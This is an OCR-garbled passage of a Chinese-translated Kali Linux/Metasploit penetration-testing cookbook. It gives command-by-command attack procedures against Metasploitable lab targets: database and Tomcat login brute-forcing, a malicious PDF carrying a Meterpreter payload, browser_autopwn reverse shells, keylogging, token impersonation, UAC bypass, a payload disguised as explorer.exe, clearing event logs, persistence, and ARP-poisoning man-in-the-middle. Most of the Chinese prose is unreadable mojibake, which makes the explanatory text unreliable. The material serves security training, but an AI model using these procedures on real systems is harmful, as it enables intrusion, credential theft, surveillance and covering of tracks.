o nmsfcli : X4 he# MSFCLI T 45 [ 69 Bi A =T B RiR A A 5] & o



® msfcli -h : %7 MSFCLI #9# B L #% o

24

® nsfcli [PATH TO EXPLOIT] [options = value] @ iXZIMATRIFEF] A 6915 7% o
e
FRIKM KA LG ERE o
BAE T B

1L E A4 K & MSFCLI :

1. 4% A T 3|4 42 3 Metasploit CLI (MSFCLI) ° a4 > B T gt — 2t »
BERTROGZGZRE - FIREZE S MSFCLI Am R X ARE » 2 2= 7T A 69 RRAA A7 & o

msfcli

Jusr/bin# msfcli
ait while we load the module

2. &7 MSFCLI # 8 X #% :

msfcli -h

or this module

xiliary module

3. BTRMNWEFTBH » KNI ATE2 MR ( Christmas Tree Scan) - &A1& #k#F %
AR TR SRER o

msfcli auxiliary/scanner/portscan/xmas A



http://en.wikipedia.org/wiki/Christmas_tree_ packet
in the local network.
Name : ShowProgress

Current Setting:
Description = Lay pro I ages during a scan

T ] 1 Show rcent
Cu t Setting: 1€
Description : The interval in percent that progress should b

Name :
Cur t Setting:
De ption ; e 32 cookie for UDP probe requests.

false
: Enable detailed status mes

shown

SOl 0 ARFTVAZ]E S ATAR SR AL > AR s X - MEBRXA—AIRFF X k&
AR T S A0 2 RXIATE RIFA| R 09 PTA B o 7F 5 BoRARAT &8 > (22— 35l

FRBAE  CAVAFAREEERA AN B AR 34 2 65 R -

msfcli auxiliary/scanner/portscan/xmas S

loit Framework License (BSD)

ded by;
kris katterjohn <katterjof all.com=

The number of
The

Ports

The

The
The

The y read timeout in mill

UM I pen|filtered TCP serv s using a

sends pro containing the FIN,

: fusr/bin#



http://en.wikipedia.org/wiki/Christmas_tree_packet

5 ATEFTRTRRRRAFNGLIAT] & » RAVER o X o &AL A T & E R FF A
RO 77 X o EANF|RIRAR A R F 8GR ES (REAT QAR ) o AL F 6L R
LR RR A I RATZ AT E - £ T @OBRAF » REFPN TS T ERAALAK
ik o dm RAREEE] T ZAPH I R T F R B HLAGME 0 IR RITHES T -

msfcli auxiliary/scanner/portscan/xmas 0O

{ 8 urrent t

TIMEOUT 500 yes The y read timeout in mi

6. &AVEA e X RIATRREAF A o

msfcli auxiliary/scanner/portscan/xmas E

IAEJR 32

TAFLEE P s KA1IAR 3 MSFCLI A4 » 25 LT Rk » A WAT R o £ L6
AP 0 RATRIFT T ERHAEE T MSFCLI Rod k& A K ABT A T A %R o
AERBRAABRRAZIE » BAVIAT T RRAA A o

2 2

T & Metasploit IER > A ZAF R 39 FFF TR o Z®IEH L

o AR XLATEH A BALIRLLE o EflESAFEHEA s REEZXMB LT o
#£ Metasploit ¥ °» RiRld=R 54 » FRFF 2| & REA R TR EZ £ ECHITT @
};%;6 o

o SRIRAIR : REA R TR KA BT R IR AR o

o BT I —ERIAPATT REAF A » LAl BATELH A HZHIE » UEAF RN

shell » BT & AP G4 > KA P UARLE o

— B {ki@ it MSFCONSOLE #1% T ZMu#15 17 » 4R % 248 | Meterpreter & 2 & #.47 ©
MSFCONSOLE T A % 324k 8 235 » f Meterpreter 34T 32 % 89 .47 9~ & A= iR Al TAE o



6.5 1% Meterpreter

— 2 %1% Bl Armitage * MSFCLI & MSFCONSOLE 43 T £ AL8g 35 14w » AR b 4% A
Meterpreter k1% i% 1R &9 # 47 - MSFCONSOLE =T A & 4R 89 2% » ™ Meterpreter #4T 5 %
b9 AT 2 K A RIAF] R TAE o

— & ] -F Meterpreter &9 % 44 L3
® help @ XA AGARR KA B o

® background : XA AFIRAE G 6 BT Meterpreter &35 o X AN S ALFE 4 1R A =
MSF 42+ °

® download : X ANPAAFIRMNZTEEZMNSE P TH A o
® upload : XA~
® execute : BANAGEAFREZTEHIE LiEfTa4 o

® shell : EAGAAHFHRAE S EEMNE LiEIT Windows shell 32~ (BT Windows
M) o

® session -i : BAGFTAAFHAELEZ A ik o
A&
FEHLTIER

o NEIM%LNELIEMIGELE o

e 1% A Armitage * MSFCLI 5 MSFCONSOLE & Metasploit 81224549 » B iz 2 489 & &
1E o

RAE T B
ik £A414717F MSFCONSOLE % /4 :
1. % % #4712 MSFCONSOLE ¥ & 7 69 i 3 &35 Fr 4 o

2. AR FARALT R P EETE

keyscan_start

3 HEEAFAATR P OHWNT - FONFLITERERLE

keyscan_dump



4. kit B AR AT A P #HARF o

keyscan_stop

5. Mtk B Az AL F 6T o

del exploited.docx

6. FHEARALTHFHDE o

clearav

7. BrEiT#ANI A o

ps

8. APRZEHAKLMISTHAL » F M Kkill [pid] B o

kill 6353

9. ZRMMAIFAL LR SN -
steal_token
IAEJR 3

#A1L38 iE Armitage * MSFCLI 5 MSFCONSOLE T st 2 5. 69 Meterpreter &% 5k /F45 o X
BEMEBIRIE LBITT /44

2%
5 &A1 AT Linux Z4uE A Meterpreter 89 844% » K ATFE9% £ © L @IEAT Linux 4 » #i%

EATRAE L S I EARHE o

6.6 Metasploitable MySQL

BB F » KAV 2K K= fT1% Al Metasploit k2 MySQL #3E &2R % % » 1% A MySQL 4=
M BEER - MySQL £+ % M sk-F & 89 4F » &35 Drupal 7= Wordpress » # % Bl sk % Af E &
1% F MySQL 4 E IR % 5 o &8 e £ % 5 M A Metasploitable MySQL 5 8 B 4% ©



B %
FRHRATIEE
o MIM %L EH o

o ZATES5EINR T 69 Metasploitable ©
i

THATFEAEF G L AT K -

A B

TE &A1 AT A A8 W 2 kA4S MySQL Sk

1. ATFHLRE T -

E*»“‘%

2. J& # MSFCONSOLE -

msfconsole

3. & T MySQL #3k -

msfconsole mysql

4. 1A MySQL J24% B4k o

use auxiliary/scanner/mysql/mysql_login

mysql login




B AR TR % o

show options

Current 5

\ specific userna
File containing

msf auxiliaryi

¥ RHOST % & # Metasploitable 2 4Lk B 4x AL 33k o

set RHOST 192.168.10.111

R ER PG AL E o AR AL IF

set user_file /root/Desktop/usernames.txt
& FA AR AL E o ART IR

set pass_file /root/Desktop/passwords.txt
PATRIRAH

Exploit

16.111

sktop/usernames.txt




10. Metasploit & Z KM ELELERAMNIH T H R P L Fo BB AL o KB AZGE Tl E
R AL E) + T TILT o
TAF)RHE

EAHLAE 0 &AL A Metasploit 49 MSFCONSOLE sk #] Al Metasploitable 2 $24t L &9
MySQL %R o ZA1ARB shdzHl & 48 KT A Sty MySQL 3k k/H46 £ 3#%4F MySQL %
FARABRZ G » KAVXE T BRI AT T RFEA A » ZERATREH EAH MySQL B % ©
Metasploit 4% A 2 4 89 7 P & Fo &85 A o FF 2 5 MySQL %35 & ©

2%

AP > ROV T 8 Sh AP AT A9 5 7 TARN 2 Fo 518
PEF R RBEFHEFANETFFHR o

6.7 Metasploitable PostgreSQL

BAALAE F 0 RATV2AR £ fT12 A Metasploit %k 2t & PostgreSQL %% &R % % » & A
PostgreSQL 4244 & £k - PostgreSQL # %8 A #- 5 & et 9 R KB R » F % F4F4 5 AR
AL L% IR E o £4144 )0 Metasploit sk & 4% PostgreSQL & % °
M %
FRHATIRLR

o NI M LEEHE o
o EATABHEINBL T 69 Metasploitable °

A

THATF A EHE G L AT K o

BAE T R
TR AT B L AT A 458 B O kA4S PostgreSQL st ¢
1. AT A% ED -

2. J& % MSFCONSOLE °

msfconsole

3. % % T M &9 PostgreSQL 123k ©



msfconsole postgresqgl

1% Fl PostgreSQL {2 &2 3%k o

use auxiliary/scanner/mysqgl/postgres_login

show options

¥ RHOST % & # Metasploitable 2 £ AUk B 47 ZALAY AL ©



set RHOST 192.168.10.111

7. RERP L TLAFGALE o ART ABF

set user_file /root/Desktop/usernames.txt

8. REHKALHIALE o IRT AR :

set pass_file /root/Desktop/passwords.txt

9. #ATRIRFIH :

Exploit

10. Metasploit 2 Z RN &L RN T GPTAH R P & Fe BrG AL o KRB A BB FTh B
HMAFHE + HERTIAT

IAEJR 32

BAALEEF - &A711% A Metasploit 49 MSFCONSOLE sk #] Al Metasploitable 2 ¥4t L &9
PostgreSQL # iR o KA1 R shiE#] & H I R PTA C4a by PostgreSQL B3k k H46 o £ 63
PostgreSQL & A IR G » KATRE T %2R H AT T RBFF » 1L RAT 48 9% Bk
PostgreSQL % & ° Metasploit 1% A #2 8t 89 H P & = 55 #5 SUH o 2 X% 3% PostgreSQL #tiE
oo LERB|AMNERAEBALZHUE + FFHRTAT o

2%

AT » RAVEA T K89 PostgreSQL Al P &A= B2 T o K RATLT Gl 2 T
B A S A ETAAR P LA B RSk o T R BAEF A o

6.8 Metasploitable Tomcat

RAAAE T 0 KA1 2R R4 fT1% ] Metasploit 2+ Tomcat IR % % » 1% I Tomcat Manager
Login # 3% - Tomcat * 2 Apache Tomcat * £ /7% Web /R % % > 4= Servlet &% » Al T &
41 Java Servt #= JSP - Tomcat /R % & 4441 Bl Java % 5 ° &A121% H Metasploit & 5%
Tomcat 89 & % o

M %

FEHAT I EE



o AMMABIEHE -
o EATAEBHEINBL T 89 Metasploitable ©
A

THATFHAEF G EAF| KR -

A B
TEEATA AT LESE T 0 kIR X AR

2 o

1. AT 458

E’»“%

2. J& # MSFCONSOLE -

msfconsole

3. &%~ A& Tomcat #£3#% -

msfconsole tomcat

Mama

/tomcat_administration normal

omcat utfB traversal rormal Tamcat UTF-B Diractar

normal TrandMicro Data

normal Apacha Tomcat T

normal
normal

tpStomcat mgr ag PoFmal Tomcat Applica
axcellant A y Tomcat Managar

wacution
normal

4. 1% Tomcat Application Manager Login Utility °

use auxiliary/scanner/http/tomcat_mgr_login

5. LR T R &R

show options

6. X & Pass_File



PASS_FILE meset /usr/share/metasploit-framework/data/wordlists/ tomcat_mgr_default
_pass.txt

7. % & pass_File :

USER_FILE mset /usr/share/metasploit-framework/data/wordlists/ tomcat_mgr_default_
pass. txt

8. % & A A%89 rRuosT ° & T &A1 IF&KAN49 Metasploitable 2 4t :

set RHOSTS 192.168.10.111

9. ¥4 rrorT X E 4 8180 :

set RPORT 8180

10. #ATHRRAF A

Exploit

IAEJR 3

RAALAE 0 &AL A Metasploit 4 MSFCONSOLE sk #] Al Metasploitable 2 #24u L &9
Tomcat &R o HA1AR shiEH] & 318 & T A €469 Tomeat A3k k4 o /£ %3 Tomcat &
FARRARIRZ G » AR E T &R HAMATT REAF A » XL &KRA5E9% 2L Tomeat B % ©
Metasploit 1% A 3245 69 Bl P 2 Fo 580 SUHF o 3F 2 XML Tomeat %38 & o X B R EB| A0 B %
PERBALFHG « FFRTAT -

6.9 Metasploitable PDF

BAFAE T 0 RAT 2K R4 fT1L | Metasploit k#4753 » 12 Al Adobe PDF A 4% 3k kA Al
PDF U4 /#7F - Adobe PDF & XA & 4t9ir ko T RE T Z24&EH » AL Z G FTEHH LA
& BN 2EIAER PAAARATATA T R 8 R K42 89 E % PDF U kA P AIMLE o
%
FRHLTIER

o IR L8 E I o

o B4T S EINIL T 4 Metasploitable °



o ATHATFHAEFN LT K -

1k

2. & # MSFCONSOLE -

msfconsole

3. #ETHH PDF #£3k o

msfconsole pdf

4. 1%} PDF ALk ¢

use exploit/windows/fileformat/adobe_pdf_embedded_exe

5. ZRAEIRAYT &R o

show options

rarmal



Mame

EXENAME

FILENAME

oW this message again" box and press

6. W ERMNBEA RE PDF UL 4R

set FILENAME evildocument.pdf

7. % & INFILENAME i#&70 o & & 4R4T F A% A 69 PDF CAF6942 8 - X 2 » A& 2@ L&Y
W o

set INFILENAME /root/Desktop/willie.pdf

8. AT RAAIA :

Exploit

s payload...

local/evildocument . pdf

I AE)R 3

AL 0 &A14E A Metasploit 4 MSFCONSOLE 4] # 7 ¢.4 Meterpreter /& 1148 PDF T
PR o RAVAB hi2H & F18 £ P A T A 69 PDF RiF kA4 o £ PDF AH ARG » &
1% B 3R AT R B A A > ZIERAAEIEF 8 PDF FET B4 /5 o Metasploit & 4 & #
A Windows K % TCP #4747 PDF » %1478 B 47475+ PDF L #+8 » Meterpreter 271 &8 4 &
FERE o



6.10 52 3L browser_autopwn

7 % % Autopwn & Metasploit 324 69 B3R » £ 2 F 415 FIF T B » 1E1REE9% B ikt e
ﬂ]é/]i)l('i‘ A% % Autopwn £ 3 H ZATAE K P w3 SR G| WA AT 23 IET7 2K
#| A Firefox éﬁ/r%ﬂ o ATt Rl K B > €k RET REMARRF A o

EE
FTEDHEM KA G ELE o

BRAE %

TEEATR AT L8 T 2 RIS X AR

i

o

1. 17+ %35

2. /& # MSFCONSOLE :

msfconsole

3. METH autopwn HEk o

msfconsole autopwn

auxiliary/server/browsar_autopwn ormal HTTP Client Automatic Exploitar

sf exploit| ) = use auxiliary/server/browser autopwn

4. 1£ Rl browser_autopwn 123k :
Use auxiliary/server/browser_autopwn

5. & E &R RAT 0 X Z KAL) Windows & & TCP :
set payload windows/meterpreter/reverse_tcp

6. TR TZAEMT LA o

show options



7. RERGEFMAEREIPoXE > % PC & IP 3k 102.168.10.109 ©
set LHOST 192.168.10.109
8. T » &AVATHZE URIPATH » Z EXAUME A "filetypest (H 3% )
set URIPATH "filetypes"
9. B » RMNPATRRAF A
exploit
10. Metasploit & IP 33k <http:/[Provided IP Address]:8080> 4 4Tk FA| A o
1. 535 R4 15 B AMAEE > browser autopwn R ZKEHER P OIS %33 T RTE o
4o R R 8915 > Meterpreter 2 AN 415 o E A AiEF 4R REE
session -I 1
12. AT L7 &N T A4 89 Meterpreter 447 & » 81X\ help °
help
13. 2R FTRELHI K o XL > KA1 B o) F4DRF4a 4
keyscan_start
14, ATHINZLEEZMNSE LG FARF » BA14EN keyscan_start 4 :
keyscan_dump
T AR 3E

BAALEE T - &A112 A Metasploit #7 MSFCONSOLE 3k #.47 browser_autopwn #FE#] A o

EMNAB HIEHREHIL LA T8 autopwn BT o E"5 E autopwn IR Z B » B

BAT % E A windows_reverse_tep °© X AFRAVEF AR IF R B @ 09454 o — B2 EH5
Bl T RATEI R T RIRAA R EARA T > RATEAEST 2] Meterpreter &30 215 o



B+ IR

Y4 : Willie L. Pritchett, David De Smet
FEH A

L ¢ CC BY-NC-SA 4.0
sk
] A

EMNCERF T BESLFH T EMNORR o TREBRRRATRRARETEL o BF > KA
AET7 FIARARAR TR R P ok P (THFEALR P ) o A28 BRI BARIKR P TRAFTERKP o &
—F PRI 2R E LA RIARREG 7 X o

7.1 12 AR 320

IANFLEEF s KAV AT AN s BPRNE LG F AR o SMaSH TR FLE
Fom B AP~ AP AP RIRGZAZE o 2 P AN Windows 242 » 414435 —/
F R s EA A TENG —Fy o B AFRNAIEMIS T P RIBF 8 T i
FRoflde » AGMPTREEUTER G ETELEHTNES - FAMABATLEELE RE
TEERI AR o KA1 S48 A X A58 & KRB A RAN6955 FIATR o
A%
AT HATEANRLE > RINEFE .

o NILMBRALIEREEHE o

o XEHBARIM

BAE T B

AT Meterpreter 464K AR AME o 17 F 242 F Metasploit k3tH AL » AR RAF

4

Meterpreter shell > 7R =T vA& Bl 5 5~ £ 694045 2 — » ki Metasploit K #F5 FIALR o

T & LR g


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

2.

3.

4.

. &A1 vAE Meterpreter 42 ] incognito k4542303

use incognito

B incognito 89 B LA » LN help 4

help

R &R BB KAVA JUAT A 69 27

T@&ﬂ]ﬁ' RIFTRARA P& > LA P BABEANT A% XFE KA FE LAY
AN T AR LA _y AT list_tokens F K TARE

list_tokens -u

T AATPAT RIS &K < BIE

e impersonate_token [name of the account to impersonate] °

impersonate_token \\willie-pc\willie

s ZATEAFE—A shell 4K EAT c wRENARST > ENRAF AR P G F 01
'fi}’ﬂ £ F]'] %//

TAERE



BAFEE T o RAVARLA RIR 6 ZALTH4 » XG4 Al Meterpreter £ & i#}tiﬁié&%——/\)ﬂ
PR o BPNAFG AN AR TREBRGFRGAP » RIFLTRHABEHREHEG L
FFEAL R EAT6G K P R RAIEIR G R % o

7.2 AR A

BAREE T » KA ALE—6 BB KRG I EHITRR o ARERAHFRNF F ALK
JAP RPN A RAVPT &6 S AT A 4L o
i
AT PATEABSE » RIEFE
o IR LRI K 6 o
o 1% Al Metasploit 1 2 89 B Rl 89 AL o
BAE Y 3
1k &A1/ Meterpreter shell F 714 4T AR A& o 17 F 1% A Metasploit 2t £ A A

%k R4+ Meterpreter shell o 4R 7T A& A 5 55 T 898645 2 — » ki8 T Metasploit RAF EALE 17
o

1. —E AR E Metasploit 7= Meterpreter shell KA T % & & 6917 FIAR » FHHMREG
Meterpreter £ =4 & 4F ©

2. T 4R -nh & ANEFH getsystem B9 H By LA :

getsystem -h

3. JG RAT R W ARAT 3% 50 R EAT getsystem :

getsystem

4o R AR 2 X FEAF Windows 7 A5 9] » AR 5L /0 42 AT getsystem 42 AT
T bypassuac ° bypassuac AL HFRZEEMAREG R P WK P 3EF] o IAG LS

70 run post/windows/escalate/bypassuac °

4. T@ > EANIATRE 0944 R RILF ] o


http://windows.microsoft.com/en-us/windows7/products/ features/user-account-control

5, WHLERT o KRANTTLE R HAATT RARSE o

TR H

BEAHAE T 0 &RA1MEA T Meterpreter st % F 3 69 T 4T KRR AL F o KATIA
Meterpreter F - 453X MNL4E o X G RATIMAT T getsystem 4 » € A 7F Meterpreter & X 42
AAPRABNGIES - wRRDT > BNKA T2 EZ IA LG AL%F FIARER -

73 LT TEEG (SET)

BARER » EN2EEHELIRIAEE (SET)  SET AN A~ T HLMER » R4
9% 38 1 3 Rk Bk 2 F4 o SET & David Kennedy %7t o X AT AR BRI ARA T HE MK H
T EJEFegizse o

BT B
¥4 SET 89 % HAe T AT o

1. ArAskama o s BddxTARB R > JHrF SET ATAEME X @

se-toolkit

2. RAZG M AP SET £% - SET £ 5 A T :

Social-Engineering Attacks (4 T#2sk &)

Fast-Track Penetration Testing (MRi&SREz %M K)

Third Party Modules (% =7F#k)

Update the Metasploit Framework (3 Metasploit #Z%)
Update the Social-Engineer Toolkit (##iaIfTHAE)
Update SET configuration (## SET #E)

Help, Credits, and About (#8)> &FxT)

Exit the Social-Engineer Toolkit (BhitA IR THE)

++ o+ o+

> E#ATHEZA > ZIFLEBAR SET » RAEEFEF &A% E -
R R4 T B AT

'[]1(img/7-3-1.jpg)

1. B TRMNG B> RNBED - ADBTRASAASTAZAE

2. AMNALELAHNRLIRA KGN A CNETETEOHRAF o BTRMNGB 8 - K
fi14% A create a Payload and Listener (QIEHITFWHE » &H4) o



The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

from the menu:

8) Wire

T@ o KAVEIGFI AR IP kR - XL > KINHAENH IP it :

192.168.10.109

for the payload (reverse) :|j

REFBNBAT I ZFatb sl » ©A14 payload and Listener LA A, o %
# windows Reverse TCP Meterpreter ©° X 21b&A1EAEH| B Az L » Hxt L AT
Meterpreter 47 °



443

s AR KRB FH BT R > AN Yes -

junk

root di
n the SET home

nol: i

_junk

jurk

Lnk

SET as msf.e
directory.




BAALFEF » KAV AT SET 89 Mk - SET A X LR FE D » € H TARA THFRZ
THGIT A o A1 474610 SET 746 » 25 » SET AKMNBET Ui Hr N - —2 &A1k
# 7T ¥ » SET &3k Metasploit K Z > FlE g H P — £ 7| FA o £ AN G R)E » &A16)
BT T IAT A 0 €S REEL KA B A7 ALY Meterpreter &3 &% ©

E 2

AR s ARTIN R @ LR 5 SET » 5

=] Applications | Kali Linux | Exploitation Tools | Social Engineering Tools | Social Engin

o

RO BT ER
Ty F IR EGIRGBATHELEFH -

1. /£ SET B & T » RAZEEFNA N EXE TH™ K msf.exe ° HHFRIG TH L ARG T
SO AMRER ) L AR o IR E > KATIE E XA explorer.exe ° I » HAVITF 455 %F v #
% 18 SET A6 B %k o

cd /usr/share/set

2. LEEMKMABZFPHARB 7L -

1s

3. XEEMBEANIHZTFEH explorer.exe

mv msf.exe explorer.exe

2N fshare/set# 1s
config nsf.exe README.txt set set-proxy setup.py src
modules e eports set-automate set-update set-web
fusr, e v msf.exe explorer.exse
tfusr,

r|..u1:|1 25 I-'.'—-I"T'IE txt set set-proxy setup.py srd
readme reports set-automate set-update set-web
sr/share/set#

4. M ie RAVEY explorer.exe AT o X E » ZIP V245 ™ healthyfiles ©

zip healthyfiles explorer.exe

5. BRAROZIMAET ZIP )ats » R TR BEL S5 X)L LSE
%ﬁ%%%’&ﬂu&ﬁuﬁ%%ﬁﬁ%%%m PATH 0 AARET o IF



7.4 K& 2 FH 5

BAFEE T 2 KA1 E R4 T8 A Metasploit ki &2 FH 694038 o A LAY 7 Xk TR A
% 2REMNWEEBARNE L F AP H4O0F 07 X o EZ T H KB T ERA]
RIFHAGHIMEE > RANTAK LR T —F a9k EF o S TRIGH]F > RIT2MKER
12 EAER P A HADR 5 o

M %
AT PATEABEE » RINNFR
o WM % XK LR 0% o
o 1% Al Metasploit 1§ 89 B Rl 69 At o
B I ;K
1L &A1 4638 i Meterpreter shell skl & % F 4 %35 o 17 & Z14% A Metasploit 2 & A At

%k 4% Meterpreter shell o 4R T A4 A % 55 F 69505 2 — » kAT Metasploit £ 4F B 47 Z 469
719 -

1. —E 4Rl & Metasploit 7= Meterpreter shell k4 T % F 4 697 FIAR R » 451K 4
Meterpreter £ =4 & 4F ©

2. T@ NPT T @G ELSRABMEREKS :

keyscan_start

3. &G BV A keyscan_dump 4> 0§ A P A HADR 5 4k Bl F R E o

keyscan_dump

T AR 3E

AL 0 &A11E A Meterpreter i E T = T4 69 2E -



E 2

H—M LR 7 X RTUERAENRREZTTENE LOGRIE o IARE T » RNEAT
Metasploit ## Metasploit keyscan k12 & H4&M 5 » 12 2E KA1 T vA4% ]l Wireshark 3
airodump-ng k £ i £ Rl FIE o

RERAEERFRECIE > @ THRKI T ERG T AR TR B 47 o

7.5 FIP 2%
BAFLEE T o KA1 4480 Metasploit sk F Mk &AT69373% o £ 23 I EHATHEEANEF
FROG IR AART B G PTA IR R FIRIRZ G BRAEKE o FEHZ
Metasploit #8 A —#+ 7 Xk IE & & £ 3 FH h RAV69 32 3% o
&
AT RHATEAFEE » BNTE

o MM L& R ILIK K By EIE o

o 1%l Metasploit 1E R &) B R Fl 69 T AL o

Btk
&2 IWITY B TH 7 -

1. £ &A1FF4E1% A Meterpreter shell & 7F 32 &A1 6932 3% o 47 F 242 ] Metasploit 2 & 4

I

Tk RAF Meterpreter shell o 4R 7T vA4% A 5 55 & 694045 2 — » kil & Metasploit &

A=

4 H

1% EALEY 5 ] o — B AR T Metasploit 72 Meterpreter shell 4% 7 &% & 4 8935 ALk »
FH 1R 69 Meterpreter 27 # 7 4F o

2. T@ o RAEFRELT IRB > MR HAT B EATRARAE o RAVATAH B4

irb




3. T H£AEW IRB A RIA A o T @& — AT H 6% dF

log = client.sys.eventlog.open('system')

log = client.sys.eventlog.open('security')

log = client.sys.eventlog.open('application')

log = client.sys.eventlog.open('directory service')

log = client.sys.eventlog.open('dns server')

log = client.sys.eventlog.open('file replication service')

4. ETHRMNGB Y > B CARFEE - RE IR

log = client.sys.eventlog.open('system')

log = client.sys.eventlog.open('security')

log = client.sys.eventlog.open('application')

log = client.sys.eventlog.open('directory service')

log = client.sys.eventlog.open('dns server')

log = client.sys.eventlog.open('file replication service')

5. MAERNPATFARFED EHF

Log.clear
6. ‘f}l]é'giT &ﬂ]/\}ﬂ T l]/F\/?\ '{E&'ﬂ] éIJET

IAEJR 32

BAALEE T o &A112 A Meterpreter sk iF &A1& B 47 T L 89323%F o KA1 Meterpreter F
T X AALEE - B T IRB (—4 Ruby fiZ# % shell) o T > N2 T HZFLE
o AEHRBEHEANT Log.clear 4 RFERE - £ioE > —"‘E’ﬁﬂ‘] LT EAEM o MHE

RERBPATE—F c RARAFEREISEHIATESHRE > IHR 2T WE SR E
B

7.6 €lEARARE]]

BAALEE T - &A1 448 A Metasploit persistence k| K X B ] o — B4R }?ScI}J %137 B iR
BB FRR  REFERZREFEHRANE T FRG TR » AR FRAR o 4o B A7

ROGRAPMT —RFE k&t e ZRBMNE }‘J]éﬁﬂ"ﬁ}ﬂﬁtmﬁﬂffé‘%ﬁ}%li' RALE

B o AV ZBITET FRORE » €T AL RIEH B ARALE 891559 -

%

AT PATEARSE > KN F R

o NIMLREIKM & o



o 1% Al Metasploit 1 5 89 B A Rl 69 AL o

e B

TE RATV AN RAT G R XB T o 4R & 245 F Metasploit 2 & A AUk AT Meterpreter
shell o #R 7T ¥A4E B % 75 & 89045 2 — » kil T Metasploit FRAF B 47 TALEY 17 7] o

1. —24Ril i Metasploit ## Meterpreter shell KT T % FH 6917 FIAR » F 54K 49
Meterpreter £ 748 & 4F o

2. T@» &N FEE47 persistence » BRI Z RGBT o KAVATFH B 4

run persistence -h

3. KARBEITA LA » 6,4 :
o A I BABASAHBH—NEEY S FLIS KA RIE o
o .s I BABAMILEITAHNBHARAIRS o
o .y I BANABAEENERPBHAANAHBF o
o i I EABARERREZREE B HHFHE G EL o
o .p : XAILMREHFAME L Metasploit #9 T m @ o

o _p XA ZEINEAT o KIAEA Reverse_tcp * FEEIEF ZARAAAE A
Ao

o r I EXABPZXELEFIEL IP ML o

4. A BNMATHARELET] ¢

o

run persistence -U -A -i 10 - 8090 -r 192.168.10.109

5. BIMALECEELT o R mIAE » REEFIRA T %=/ Meterpreter 2% o




BAFLFEF 0 RAVE A Meterpreter kZ K XJG 17 o &A14£ Lt B iz AR
Meterpreter shell X & /F4& T & ANA045 o LG RATA LR EH B TAEARA » IR T — LT A
RIAFT X o B > RAMNARLETZEF L RECHBARTARGITHGLE -

7.7 FRIA (MITM) =&

BABAEF > ZN1 2 BARZATFERA (MITM) 3E o MITM3CE A3 &A1 5 97 B Az 5] A
B93R4E o £ RAT1E9H]FF o 5 EA Windows E M hittp://www.yahoo.comB &L dR#FE » &A1
1% R Ettercap %k % 77 € 691813

&
AT HATE A » KRINFER
o LM %EE
o EHIALAMEYI R
BT %

1L &A1 5 3 Ettercap k4 F H A& o

1. AT 435 % v 8 ) Ettercap ° 1A -6 & GUI :

ettercap -G

xeuumpﬂ?41



http://www.yahoo.com

2. HATAITIF unified sniffing (ZL—"R4K) FF4 o IRTVLIET shift + u RAFH FE L
P49 sniff | Unified sniffing ©

| ¥ ettercap Input

9 Network interface : |EE

oK 1 Cancel |

4. T > £4147FF scan for hosts (R EAM) o TULALIRT ctrl + s RIFFEEEE
%) Hosts | Scan for hosts Z't\f::ﬁ&. °

5. T ZAU4FE T Host List (EMIIER) o ARTALT w A7 R EEE
9 Hosts | Host List °

* ettercap 0.7.4.1

Start Targets Hosts View Mitm Filters Logging

6. RIMNT@EFEBFRELERNG BT o £RANGIH]FF » RATEIF 102.168.10.211 FH
£ Target 1 AT P EH IP AL HFIZT Add To Target 1 (APl BAR 1) #&
48 o



* ettercap 0.7.4.1

largets Hosts Vie

Host List X

IP Address ' MAC Address - Description *

e AT R B LW T B ol ol VR

192.168.10.102 00:0D:93:7A:EA:C8 |
192.168.10.107 00:18:E7:07:BE:70
192.168.10.108 00:08:5D:29:28:FF
192.168.10.110 00:02:A5:B1:EB.OF
192.168.10.111 08:00:27:17:81:3C
192.168.10.112 08:00:27:19:BD:88

192.168.10.150 00:80:77:07:80:A3 Jp
Delete Host i Add to Target 1 _ Add to Target 2

55 ports monitored L]
17587 mac vendor fingerprint I
1766 tcp OS fingerprint
2183 known services
IRandomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
19 hosts added to the hosts list...

ke

A &RATEEG51E Ettercap FF422 KT o RTXART ctrl + w R FEEA
89 start | Start sniffing °

ettercap 0.7.4.1

w5 BAVFE AT ARP &1L o 15 ¥ X £ 4289 Mitm | Arp poisoning ©

LEEAGETIP > P sniff remote connections ("RIRTAZEH) 9% -



| * MITM Attack: ARP Poisoning

Optional parameters
0 & [Sniff remote connections,

[ Only poison one-way.

oK || Cancel |

10. BURT M %5 » KA EA R L -

* ettercap 0.7.4.1

FEIEERC/AP!

1587 mac vendor hingerprint

1766 tcp OS fingerprint

2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...

Starting Unified sniffing...

ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)

M. —E&RAMKB TRRZRGEZE (AP LFEm) o KA1TLXH Ettercap ° 1R T Wiz

T ctrl + E RIFFEEAE start | Stop sniffing KR TRE °©

ettercap 0.7.4.

12. IAEEN X ARP 1t » & M &R EEF o



%

2 R 2

o MITM attack(s) stopped

Lok |

IAEJR3E

A

BB 8

a3 MITM & » €
AR =T VAR

W ARP &1Lk 597 b A P 4% 46 £ i
&) % http://en.wikipedia.org/wiki/Man-in-the-

middle_attack#Example_of an_attackk T ## £ % X T MITM #912 &

1z

160


http://en.wikipedia.org/wiki/Man-in-the-middle_attack#Example_of_an_attack

HNFE B FH

£ : Willie L. Pritchett, David De Smet
FH L RA
L : CC BY-NC-SA 4.0

B—FF o RANNBRE — LS EELRRGN P KPP 67 X o FB AT R PR F 35 WX A AR
FRRATHES c KA L EFMARN R LA I AL AP RIGED o LEELR
Bedofl s AR RIMABES » RAHFEHEN - TLRENHTAALFEN B 47 -

8.1 /& 2% % A ik

B P &A1V 242 A Hydra FB AR SR o A IR RN A e kW IE A EH AT Windows #97F
Fho BERBRZEKP FHEE (SAM) o2& » KA1 A N RREXAEM > FIAZ ZELE
B BRI o

Hydra X##% % i » 46 (2R ®RTF) FTP ~ HTTP ~ HTTPS ~ MySQL ~ MSSQL ~
Oracle ~ Cisco ~ IMAP ~VNC #2 & % 8§¥h il o FHEZFZN A > i TR ETHRESZ 4%
P oo 343 he ARAAR M B 6 7T 4k o

%

FEARMEREHEMG5E > WEE—SRAEZEHGTEMN -

BAE T R

Tk RAV 48 B AR A R BT o

1. XL &

oS Applications | Kali Linux | Password Attacks | Online Attacks | hydra-gtk °


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

Target! | passwords Tuning Specific Start
Target

[ Show Attempts

hydra -| yourname -p yourpass -t 16 127.0.0.1 afp

O Single Target [127.0.0.1
